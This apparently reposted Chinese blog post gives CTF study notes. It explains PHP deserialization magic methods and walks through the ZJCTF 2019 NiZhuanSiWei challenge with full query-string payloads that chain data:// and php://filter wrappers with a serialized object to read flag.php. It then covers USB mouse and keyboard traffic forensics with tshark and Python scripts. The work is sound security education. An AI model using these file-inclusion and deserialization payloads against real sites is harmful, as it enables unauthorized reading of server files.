CTF题记——一些思考

2023-10-10 20:50
文章标签 思考 ctf 题记

本文主要是介绍CTF题记——一些思考,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

这段时间思考了几个问题,刷题的意义?拿到一道题知不知道它要考什么?有没有思路就去做?做这么多题有没有总结套路?知道考点了,是否明白它要考这个考点的具体什么内容?是否明白从何入手?
其实刷CTF题目就高考刷题一样,做那么多题,最后考试还是不知道从何入手,知道要考这个题,但是不会变通,就是只会做自己做过的题,都知道考试不会有一模一样的题,不会说用以前的公式模版直接套就能得到答案。CTF也一样的!
可能有的知道一些刷题小窍门,就像CTF中的一些骚姿势一样,虽然放在一些题目中比较实用,可以适当总结一点。但是不要依赖,否则会限制思维,看到题就会给那上面想,也不向其他地方思考就想着捷径,最后就会发现,有些基础知识,理解的都不深刻,甚至不了解。这是很可怕的,没基础就不用说了,根本不入流。
以后决定改一下自己的博客风格,尤其是题记。会写的比较详细。拓展多一点。知道自己理解了为止。

开始这周的总结

反序列化知识

一般拿到反序列化的题,从哪里入手?
之前学过一点点基础的反序列化,题目还是比较多的,所以再进行深入的学习一下。

__construct: 	在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 	和构造函数相反,当对象所在函数调用完毕后执行。
__toString:	当对象被当做一个字符串使用时调用。
__sleep:		序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:		反序列化恢复对象之前调用该方法
__call:			当调用对象中不存在的方法会自动调用该方法。
__get:			在调用私有属性的时候会自动执行
__isset()		在不可访问的属性上调用isset()或empty()触发
__unset()		在不可访问的属性上使用unset()时触发

代码审计非常重要,现在也打算重修代码基础了。
PHP进行序列化,首先实例化一个对象,然后将对象进行序列化和反序列化处理,一个简单示例

<?php
class m0re{		//创建一个类var $test = '123';
}
$lxj=new m0re();		//实例化一个对象
$a = serialize($lxj);	//进行序列化操作
echo($a);
?>
//输出
//O:4:"m0re":1:{s:4:"test";s:3:"123";}

然后如果进行反序列化,就在原本的基础上进行代码操作unserialize

<?php
class m0re{var $test = '123';
}
$lxj=new m0re();
$a = serialize($lxj);
echo($a);
echo "</br>";
$lalala = unserialize($a);
print_r($lalala);
?>
/*输出结果
O:4:"m0re":1:{s:4:"test";s:3:"123";}
</br>
m0re Object
([test] => 123
)
*/

然后调用魔术方法的示例

/*代码来自chybeta师傅*/
<?php
class chybeta{var $test = '123';function __wakeup(){echo "__wakeup";echo "</br>";}function __construct(){echo "__construct";echo "</br>";}function __destruct(){echo "__destruct";echo "</br>";}
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>
/*
O:7:"chybeta":1:{s:4:"test";s:3:"123";}
</br>
__wakeup		此刻调用__wakeup()
</br>
chybeta Object
([test] => 123
)
</br>
__destruct		此刻调用__destruct()
</br>
*/

师傅写的代码很容易理解,多看几遍,最终理解什么时候调用什么函数,为后面做题打好基础。

构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
析构函数__destruct():当对象被销毁时会自动调用。
__wakeup() :如前所提,unserialize()时会自动调用。

一般看有没有危险函数,诸如

- 命令执行:exec()passthru()popen()system()
- 文件操作:file_put_contents()file_get_contents()unlink()

结合例题(虽然之前做过,但是再做一遍,多点思考)
[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file);  //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?>

看到include文件包含,首先想到伪协议进行读取源码。看到有useless.php提示可能包含的是这个文件,所以需要考虑怎么执行到这一步。
一句一句分析,是先绕过if语句
text===welcome to the zictf,使用伪协议进行读取字符串
data://text/plain;welcome to the zjctf但是他有过滤,

    if(preg_match("/flag/",$file)){echo "Not now!";exit(); 

正则匹配flag进行过滤,所以需要进行绕过正则,就要使用data伪协议中的base64形式来进行绕过。
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
这算是绕过了第一个if,继续看是文件包含了,使用php://filter来读取源码。
file=php://filter/read=convert.base64-encode/resource=useless.php
拼接一下,得到最终payload是

?file=php://filter/read=convert.base64-encode/resource=useless.php&&text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

回显得到base64编码,进行解码得到useless.php的源码

<?php
class Flag{  //flag.phppublic $file;public function __tostring(){if(isset($this->file)){echo file_get_contents($this->file);echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}}
}
?>

拿到源码,通一遍,然后就是有目的性的去找危险函数,比如这里的__tostring()file_get_contents()

__toString触发条件:
echo ($obj) / print($obj)
打印时会触发
字符串连接时
格式化字符串时
与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
格式化SQL语句,绑定参数时 数组中有字符串时

然后尝试进行序列化,看到的上面的代码中$file变量是没有参数的,注释中又给了flag.php,所以flag应该是在flag.php中的,所以读取文件flag.php然后创建对象.
还有这个别忘了$password = unserialize($password);并进行序列化,最后传参。
才可以得到password。
PHP代码

<?php
class Flag{  //flag.phppublic $file = "flag.php";public function __tostring(){if(isset($this->file)){echo file_get_contents($this->file);echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}}
}
$m0re_1 = new Flag();
$m0re_2 = serialize($m0re_1);
echo($m0re_2);
?>

序列化结果O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload,拼接

?file=useless.php&text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

可能有的疑问:为什么useless.php不使用php://filter
因为:现在要读取的不是useless.php了,只是包含就可以了,现在要读取的是flag.php
最后在源码中发现flag。此题结束。

流量分析之USB流量题目

周四公开课学长讲的USB流量分析,讲了鼠标流量和键盘流量,现在进行复现总结。

知识

USB是一种外设接口,可以通过对它进行流量抓取,例如键盘击键,鼠标移动与点击,存储设备的明文传输通信、USB无线网卡网络传输内容等,下面的学习主要针对鼠标和键盘流量。

鼠标流量一般是四个字节,类型是USB,数据包一般wireshark打开会知道是怎样的。
m0re
鼠标信息,是通过点的方式来决定的,比如画一条线,抓取流量抓取到的是坐标信息。一个点一个点的坐标连接起来组成的线,然后得到鼠标轨迹。

鼠标数据包的数据长度为4个字节,第一个字节代表按键,当取0x00时,代表没有按键、为0x01时,代表按左键,为0x02时,代表当前按键为右键。第二个字节可以看成是一个signed byte类型,其最高位为符号位,当这个值为正时,代表鼠标水平右移多少像素,为负时,代表水平左移多少像素。第三个字节与第二字节类似,代表垂直上下移动的偏移。

键盘信息,通过敲击来传输信息。
键盘流量信息特点

键盘数据包的数据长度为8个字节,击键信息集中在第3个字节,每次击键都会产生一个数据包。所以如果看到给出的数据包中的信息都是8个字节,并且只有第3个字节不为0000,那么几乎可以肯定是一个键盘流量了。

在USB协议的 文档中搜索 keyboard。就可以找到击键信息和数据包中16进制数据的对照表
m0re

鼠标流量取证

思路:一般是提取字节流,然后利用脚本进行整理,比如在数据中加上冒号,删除提取中得到的空行,然后使用画图工具进行描点画图。得到轨迹。
使用命令提取信息,tshark
tshark是网络分析工具wireshark下的一个工具,主要用于命令行环境进行抓包、分析,尤其对协议深层解析时,tcpdump难以胜任的场景中。

tshark -r usb2.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

使用这条命令进行提取减少出错,不带正则的话,后面使用脚本提取可能会遇到空行就中止了,导致提取不出完全的数据。自然也画不出图来。
得到数据,在文件中看到数据。
m0re
下一步要根据坐标画图,这个坐标也不是画图工具—— gunplot可以识别的。所以要用脚本处理一下。
首先剔除长度不是8位的,然后两两分组,加上冒号。

还需要注意的一点是:鼠标流量可以是左键或者右键。这个在下面的脚本中有提到,1代表左键,2代表右键。可以使用脚本跑,测试哪个可以跑出来结果。

使用通用脚本进行处理
加冒号的处理。

f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:a=f.readline().strip()if a:if len(a)==8: # 键盘流量的话len改为16out=''for i in range(0,len(a),2):# [0,2,4,6,8,10]if i+2 != len(a):out+=a[i]+a[i+1]+":"else:out+=a[i]+a[i+1]fi.write(out)fi.write('\n')else:breakfi.close()

然后就得到了所有8位数据,然后就是将其转换成坐标的格式。
仍然是使用python脚本进行批量转换。

nums = []
keys = open('out.txt','r')
f = open('xy.txt','w')
posx = 0
posy = 0
for line in keys:if len(line) != 12 :continuex = int(line[3:5],16)y = int(line[6:8],16)if x > 127 :x -= 256if y > 127 :y -= 256posx += xposy += ybtn_flag = int(line[0:2],16)  # 1 for left , 2 for right , 0 for nothingif btn_flag == 2 : # 1 代表左键f.write(str(posx))f.write(' ')f.write(str(posy))f.write('\n')f.close()

m0re

然后使用gnuplot画图工具进行画图。kali中安装方法

apt-get install gnuplot

使用方法不再细说。
还有个是使用了github的一个项目——UsbMiceDataHacker
使用方法

python2 UsbMiceDataHacker.py usb2.pcap RIGHT 	# letf为左键

键盘流量

前面操作与鼠标流量处理方式相差不多,几乎相同。
就是加冒号处理的时候,脚本需要改一下。就是很简单的
m0re
然后就是使用通用脚本将数据分析出来

mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }
nums = []
keys = open('out.txt')
for line in keys:if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':continuenums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:if n == 0 :continueif n in mappings:output += mappings[n]else:output += '[unknown]'
print 'output :\n' + output

是python2的脚本。
m0re
最后flag是720593,因为[DEL]是删除。

loading

不能把握人生的方向盘,前进还有什么意义!

这篇关于CTF题记——一些思考的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/182999

相关文章

【编程底层思考】垃圾收集机制,GC算法,垃圾收集器类型概述

Java的垃圾收集(Garbage Collection,GC)机制是Java语言的一大特色,它负责自动管理内存的回收,释放不再使用的对象所占用的内存。以下是对Java垃圾收集机制的详细介绍: 一、垃圾收集机制概述: 对象存活判断:垃圾收集器定期检查堆内存中的对象,判断哪些对象是“垃圾”,即不再被任何引用链直接或间接引用的对象。内存回收:将判断为垃圾的对象占用的内存进行回收,以便重新使用。

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

【编程底层思考】详解Java的JUC多线程并发编程底层组件AQS的作用及原理

Java中的AbstractQueuedSynchronizer(简称AQS)是位于java.util.concurrent.locks包中的一个核心组件,用于构建锁和其他同步器。AQS为实现依赖于FIFO(先进先出)等待队列的阻塞锁和相关同步器提供了一套高效、可扩展的框架。 一、AQS的作用 统一同步状态管理:AQS提供了一个int类型的成员变量state,用于表示同步状态。子类可以根据自己

一道算法题引发的动态内存管理的思考

在做PKU2762时,需要建邻接表。 于是按部就班写了下面一个插入边到邻接表中的函数: const int VMAX = 1010;typedef struct Graph{int vex;Graph* next;}Graph;Graph ArcGraph[VMAX];void insert(int u, int v){Graph* t = new Graph;Graph*

go 和 java 技术选型思考

背景:       go和java我这边自身都在使用,感受比较深,java使用了有7年多,go也就是今年开始的,公司需要所以就学了使用,发现这两个语言都很好,需要根据场景选择,我写下我这边的看法。 关于go和java语言层面和特性就不说了,网上都有,我这边从我这边实际使用的场景情况来说,供大家参考。 给我最大的感受,php转go的不少,也是符合未来技术大趋势的,目前来看,java转go也比较

思考自己写博客的意义

感想 从今年2月份开始,我就要求自己以每周4篇的速度写博客。然而问题是:每周的空闲时间是不稳定的,这导致我没法保证花费相同的时间去输出稳定质量的博客。当时间不够时,我将面临选择:是减少数量来保证稳定的质量,还是降低质量来保证稳定的数量? 我选择的是——牺牲质量。因为,相比于“质量”,“数量”是准确可见的。我担心:一旦有一次没能完成目标数量,便会出现“破窗效应”,让我潜意识里再也不认同“目标”了

是时候重新思考你的Google广告策略了吗?

以产品为中心、仅以关键词为焦点的广告活动是 谷歌广告中常见的一种活动类型。 如果你销售复古女式T恤,你可能会设置基于“复古女式T恤”关键词的独立关键词广告活动。 对于许多B2C零售商来说,这种方法效果不错。但是,对于其他一些商家来说,基于产品和关键词的广告活动并不一定是最好的策略。 比如说,我们接手了一个新的B2B客户的谷歌广告账户,其所有广告活动都是以产品为中心、仅关注关键词的广告活动。

【编程底层思考】如何检测和避免线程死锁

一、什么是线程死锁? 线程死锁发生在多个线程因为争夺资源而相互阻塞,导致程序无法正常结束的情况。例如,线程A持有资源2并等待资源1,线程B持有资源1并等待资源2,这样就形成了死锁。 二、如何检测死锁? 使用jmap、jstack等命令行工具查看JVM的线程栈和堆内存情况,jstack可以显示死锁信息。使用VisualVM、JConsole等图形化工具进行排查。例如,JConsole可以连接到

【个人思考】 Java为什么解释执行时不直接解释源码?

起因 最近学习JVM,产生一个问题:Java为什么解释执行时不直接解释源码? 众所周知,Java 字节码是跨平台的,因此 Java 才能一次编译处处运行。但是,Java 源码本身也是跨平台的啊,为什么不可以省略编译为字节码这一步,直接将源码运行在虚拟机上?如果是效率问题,可不可以在设计 Java 语言的时候解决? 对于此问题,大部分回答诸如:“采用字节码的好处主要包括跨平台性、安全性、性